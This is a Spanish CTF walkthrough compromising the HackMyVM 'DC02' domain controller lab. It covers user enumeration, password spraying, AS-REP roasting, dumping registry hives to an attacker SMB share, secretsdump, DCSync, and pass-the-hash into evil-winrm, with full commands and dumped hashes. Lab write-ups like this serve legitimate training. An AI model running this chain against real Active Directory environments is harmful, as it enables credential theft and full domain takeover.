Entrada

💻 Máquina DC02 - HackMyVm

© 2025 hackmyvm

Reconocimiento

Lo primero que haremos será identificar la dirección IP de la máquina objetivo. Para ello utilizamos arp-scan, una herramienta muy útil para descubrir hosts activos en la red.

1
2
3
4
5
6
7
8
9
sudo arp-scan -I eth1 10.10.10.0/24
Interface: eth1, type: EN10MB, MAC: 08:00:27:41:0a:fa, IPv4: 10.10.10.101
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1      0a:00:27:00:00:0a       (Unknown: locally administered)
10.10.10.100    08:00:27:d9:35:88       PCS Systemtechnik GmbH
10.10.10.103    08:00:27:8a:a3:d7       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.046 seconds (125.12 hosts/sec). 3 responded

Una vez identificada la dirección IP de la máquina (10.10.10.103), continuamos con un escaneo inicial utilizando Nmap para obtener información sobre los servicios expuestos y posibles vectores de ataque.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sudo nmap -sSCV -p- -n --min-rate 5000 10.10.10.103 -vvv -oN scan

Nmap scan report for 10.10.10.103
Host is up, received arp-response (0.0011s latency).
Scanned at 2026-02-12 03:32:34 EST for 137s
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 128 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2026-02-12 17:33:22Z)
135/tcp   open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 128
464/tcp   open  kpasswd5?     syn-ack ttl 128
593/tcp   open  ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 128
3268/tcp  open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 128
5985/tcp  open  http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 128 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:8A:A3:D7 (Oracle VirtualBox virtual NIC)


nxc smb 10.10.10.103
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)

A partir de esta información podemos identificar el nombre del dominio, aunque para confirmarlo utilizaremos nxc.

1
2
nxc smb 10.10.10.103
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)

Ahora sí, confirmamos que el dominio es SOUPEDECODE.LOCAL y que el hostname corresponde a DC01. Con esta información, añadimos ambos al archivo /etc/hosts.

A continuación intentamos enumerar usuarios utilizando nxc contra el servicio SMB, aunque no obtenemos resultados útiles.

Tampoco conseguimos información relevante a través de los servicios LDAP ni RPC.

Dado que estos vectores no nos proporcionan nada, pasamos a realizar un ataque de fuerza bruta de usuarios utilizando kerbrute, con la esperanza de identificar alguna cuenta válida.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kerbrute userenum --dc 10.10.10.103 -d SOUPEDECODE.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt    

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 02/12/26 - Ronnie Flathers @ropnop

2026/02/12 03:39:23 >  Using KDC(s):
2026/02/12 03:39:23 >   10.10.10.103:88

2026/02/12 03:39:23 >  [+] VALID USERNAME:       admin@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 >  [+] VALID USERNAME:       charlie@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 >  [+] VALID USERNAME:       Charlie@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 >  [+] VALID USERNAME:       administrator@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 >  [+] VALID USERNAME:       Admin@SOUPEDECODE.LOCAL
2026/02/12 03:39:26 >  [+] VALID USERNAME:       Administrator@SOUPEDECODE.LOCAL
2026/02/12 03:39:27 >  [+] VALID USERNAME:       CHARLIE@SOUPEDECODE.LOCAL
2026/02/12 03:39:50 >  [+] VALID USERNAME:       ADMIN@SOUPEDECODE.LOCAL

Explotación

Como podemos ver, hemos obtenido varios usuarios válidos. Esto nos permite intentar un AS-REP Roasting attack, ya que no disponemos de credenciales para ninguno de ellos.

Sin embargo, una vez más, no conseguimos ningún resultado.

Como alternativa, probamos un ataque de password spraying utilizando la técnica clásica de comprobar si el usuario y la contraseña son iguales.

1
2
3
4
5
6
7
8
9
10
11
nxc smb 10.10.10.103 -u users -p users --no-bruteforce --continue-on-success
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\Charlie:Charlie STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\administrator:administrator STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\Admin:Admin STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\CHARLIE:CHARLIE STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE 
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED 

Y como podemos observar, obtenemos las credenciales válidas charlie : charlie.

Con ellas, procedemos a enumerar los recursos compartidos disponibles en el sistema para ver si encontramos información útil o algún punto de entrada adicional.

1
2
3
4
5
6
7
8
9
10
11
nxc smb 10.10.10.103 -u 'charlie' -p 'charlie' --shares
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
SMB         10.10.10.103    445    DC01             [*] Enumerated shares
SMB         10.10.10.103    445    DC01             Share           Permissions     Remark
SMB         10.10.10.103    445    DC01             -----           -----------     ------
SMB         10.10.10.103    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.103    445    DC01             C$                              Default share
SMB         10.10.10.103    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.103    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.10.103    445    DC01             SYSVOL          READ            Logon server share

Esta parte resulta ser un pequeño rabbit hole, ya que no encontramos nada útil en los recursos compartidos.

Ahora que contamos con un usuario y una contraseña válidos, intentamos realizar Kerberoasting, aunque nuevamente no obtenemos ningún resultado.

Sin embargo, disponer de credenciales nos permite utilizar nxc junto con el servicio SMB para enumerar todos los usuarios del dominio, así que procedemos a hacerlo.

1
nxc smb 10.10.10.103 -u 'charlie' -p 'charlie' --users | awk 'NR>3 {print $5}'| > domain_users.txt

Con esto ya conseguimos obtener todos los usuarios del dominio.

Dado que seguimos sin disponer de credenciales adicionales, podemos volver a intentar el ataque AS-REP Roast para comprobar si alguno de estos usuarios no requiere preautenticación Kerberos.

1
2
3
4
5
6
7
nxc ldap 10.10.10.103 -u domain_users.txt -p '' --asreproast asrep_hashes.txt
LDAP        10.10.10.103    389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:None) (channel binding:No TLS cert) 
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP        10.10.10.103    389    DC01             $krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:303af66d7dd435d68f2550bcfc6c6988$714d5761f1149430601c176c405db7111b392c8f40e5d436782d5a866e205bb70956f6d687735bbf1ef4bedef8a6de08181a2cf00c45fc4ac0abcacbd3ee688d97a318915fcd95cd64a18c774960f58d549473657cfd86aa92bf107870343e97b8a7e7b918ac89537c6b13db0a4a117808999e5b51cd524d42c45ae867c2694ba92e740b876ecf8141b5fb71b67affa981fed65358f38e26b5474130e73ff4a978f190caaed53540331d64c7a8a7cdbd06d5fa95f7f2ee69ba62b0889d3d9d54e9c463c1de8fd2e09dd34ff31d5a48db772cf2b287dc0dc4fa2119d98ed55ab162da58874322eebf804d640a351794fa158f9f6a1ab7
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

Y ahora sí, conseguimos extraer un hash válido. Procedemos a crackearlo con hashcat para intentar recuperar la contraseña en texto claro.

Tras el proceso de cracking, obtenemos las siguientes credenciales: zximena448 : internet.

1
2
3
nxc smb 10.10.10.103 -u 'zximena448' -p 'internet'
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [+] SOUPEDECODE.LOCAL\zximena448:internet 

Y efectivamente, las credenciales funcionan correctamente. Sin embargo, al no aparecer el estado pwned, no podemos obtener una shell directamente sobre la máquina víctima mediante este vector.

Post Explotación

Llegados a este punto, podemos utilizar BloodHound para enumerar más a fondo el dominio y analizar las relaciones entre usuarios, grupos, equipos y permisos. Esto nos permitirá identificar posibles rutas de ataque que no son evidentes mediante la enumeración manual.

1
2
3
4
5
6
7
8
9
10
11
12
dnschef --fakeip 10.10.10.103
          _                _          __  
         | | version 0.4  | |        / _| 
       __| |_ __  ___  ___| |__   ___| |_ 
      / _` | '_ \/ __|/ __| '_ \ / _ \ _|
     | (_| | | | \__ \ (__| | | |  __/ |  
      \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org  

(14:49:39) [*] DNSChef started on interface: 127.0.0.1
(14:49:39) [*] Using the following nameservers: 8.8.8.8
(14:49:39) [*] Cooking all A replies to point to 10.10.10.103
1
bloodhound-python  -u zximena448 -p internet -ns 127.0.0.1 -d SOUPEDECODE.LOCAL -dc DC01.SOUPEDECODE.LOCAL --zip
1
2
3
neo4j start &

bloodhound&

Importamos el zip y buscamos el usuario zximena448.

Somos miembros del grupo Backup, lo que nos permite realizar un volcado del Domain Controller. Sin embargo, al no ser administradores, no podemos ejecutar directamente un DCSync, así que necesitamos recurrir a otro método para obtener los hashes del dominio.

Para ello, vamos a seguir los siguientes tres pasos que nos permitirán dumpear algunos hashes de manera efectiva.

  • Levantamos servicio SMB compartido con el DC
1
impacket-smbserver -smb2support share . -smb2support &
  • Conseguimos las claves de registro (SAM, SYSTEM, SECURITY)
1
2
3
4
5
6
7
impacket-reg -dc-ip 10.10.10.103 SOUPEDECODE.LOCAL/zximena448:internet@10.10.10.103 backup -o '\\10.10.10.101\share'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\10.10.10.101\share\SAM.save
[*] Saved HKLM\SYSTEM to \\10.10.10.101\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\10.10.10.101\share\SECURITY.save
  • Desvelamos los hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:810b85071239ce96635b029bd4175418e9acdb9fd4124b23a953feb3ec867c72f28bb9ae4181596f876c28ff8952fc1eb44de10078124122d7647a397700862dbfcb5aa79a17712328c132b9cf498bff0daa8179c4c38f2e762f979a32ee5c9323f50c9f232feb26bddfc1e35f33a1f22f251043dddec017c40c86fbef228ed27d427a5be3c6d2478cd9088df6f1d9b49a49b33ffbebfce0f885c87f4509d3d9f74e30f02d5ec909a2fa3b5eaf8441b2f4430b12ab611ef81e70aa62ef3616f5e37a038d2212feacc8c76acabda6cb68dc60986f0bf0ba6025d6ce95268abd050efa5be3287d9d2403cce44dd5b6afbc
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:84970264a9b45ce267d16420e393f75f
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM 
 0000   44 C5 ED CE F5 0E BF 0C  15 63 8B 8D 2F A3 06 8F   D........c../...
 0010   62 4D CA D9 55 20 44 41  75 55 3E 85 82 06 21 14   bM..U DAuU>...!.
 0020   8E FA A1 77 0A 9C 0D A4  9A 96 44 7C FC 89 63 91   ...w......D|..c.
 0030   69 02 53 95 1F ED 0E 77  B5 24 17 BE 6E 80 A9 91   i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up... 

Vemos que obtenemos un hash perteneciente al administrador, así que procedemos a comprobar si es válido para autenticarnos en el dominio.

1
2
3
nxc smb 10.10.10.103 -u 'Administrator' -H '209c6174da490caeb422f3fa5a7ae634'
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE 

Pero en este caso el hash no resulta válido.

También encontramos un hash correspondiente a una máquina del dominio, pero al igual que ocurre con el del Administrador, tampoco es válido para autenticarnos directamente.

Aun así, podemos intentar realizar password spraying utilizando ese hash contra otras máquinas del dominio, por si alguna de ellas comparte la misma contraseña o configuración.

1
2
3
4
5
6
7
8
unzip 20260212042302_bloodhound.zip
Archive:  20260212042302_bloodhound.zip
 extracting: 20260212042302_groups.json  
 extracting: 20260212042302_domains.json  
 extracting: 20260212042302_computers.json  
 extracting: 20260212042302_users.json  

cat 20260212042302_computers.json | jq .  | grep samaccountname | cut -d '"' -f4 > machines.txt
1
2
3
nxc smb 10.10.10.103 -u machines -H 84970264a9b45ce267d16420e393f75f | grep -v '[-]'
SMB                      SOUPEDECODE.LOCAL 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB                      SOUPEDECODE.LOCAL 445    DC01             [+] SOUPEDECODE.LOCAL\DC01$:84970264a9b45ce267d16420e393f75f 

Y encontramos un hash válido para el usuario DC01$.

Si revisamos en BloodHound los grupos a los que pertenece esta cuenta de máquina, vemos que forma parte de Domain Admins. Gracias a esto, ahora sí podemos realizar un DCSync y obtener todos los hashes del dominio.

1
2
3
4
5
6
7
nxc smb 10.10.10.103  -u 'DC01$' -H 84970264a9b45ce267d16420e393f75f --ntds 
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [+] SOUPEDECODE.LOCAL\DC01$:84970264a9b45ce267d16420e393f75f 
SMB         10.10.10.103    445    DC01             [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.10.10.103    445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.10.10.103    445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
SMB         10.10.10.103    445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::

Y el proceso nos devuelve todos los hashes del dominio, aunque en nuestro caso solo nos interesa el del usuario Administrador.

1
2
3
nxc smb 10.10.10.103 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'
SMB         10.10.10.103    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.10.10.103    445    DC01             [+] SOUPEDECODE.LOCAL\Administrator:8982babd4da89d33210779a6c5b078bd (Pwn3d!)

Y ahora sí, somos admin.

Lanzamos evil-winrm.

1
2
3
4
5
6
7
8
9
10
evil-winrm -i  10.10.10.103 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Y podemos leer tanto user.txt como root.txt.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/12/2024   1:01 PM             33 root.txt
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\zximena448\Desktop> dir


    Directory: C:\Users\zximena448\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/12/2024   1:01 PM             33 user.txt
Esta entrada está licenciada bajo CC BY 4.0 por el autor.